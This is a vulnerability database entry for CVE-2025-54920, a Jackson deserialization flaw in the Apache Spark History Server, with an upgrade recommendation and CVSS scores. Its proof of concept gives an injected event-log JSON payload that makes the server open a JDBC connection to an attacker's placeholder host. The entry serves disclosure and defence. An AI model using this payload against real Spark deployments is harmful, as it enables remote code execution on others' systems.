CVE-2025-54920

Published Mar 16, 2026

Last updated 2 months ago

Overview

AI description

Automated description summarized from trusted sources.

CVE-2025-54920 is a code execution vulnerability found in Apache Spark versions prior to 3.5.7 and 4.0.1. This flaw resides within the Spark History Web UI and is caused by overly permissive Jackson deserialization of event log data. An attacker who has access to the Spark event logs directory can exploit this vulnerability by injecting malicious JSON payloads. These payloads trigger the deserialization of arbitrary classes, ultimately enabling command execution on the host where the Spark History Server is running.

Description: This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue. Summary Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server. Details The vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization. The attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability. Proof of Concept: 1. Run Spark with event logging enabled, writing to a writable directory (spark-logs). 2. Inject the following JSON at the beginning of an event log file: { "Event": "org.apache.hive.jdbc.HiveConnection", "uri": "jdbc:hive2://<IP>:<PORT>/", "info": { "hive.metastore.uris": "thrift://<IP>:<PORT>" } } 3. Start the Spark History Server with logs pointing to the modified directory. 4. The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection. Impact An attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system.
Source: security@apache.org
NVD status: Analyzed
Products: spark

Risk scores

CVSS 3.1

Type: Secondary
Base score: 8.8
Impact score: 5.9
Exploitability score: 2.8
Vector string: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Severity: HIGH

Weaknesses

security@apache.org: CWE-502

Hype score: Not currently trending

Configurations

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]

References

Sources include official advisories and independent security research.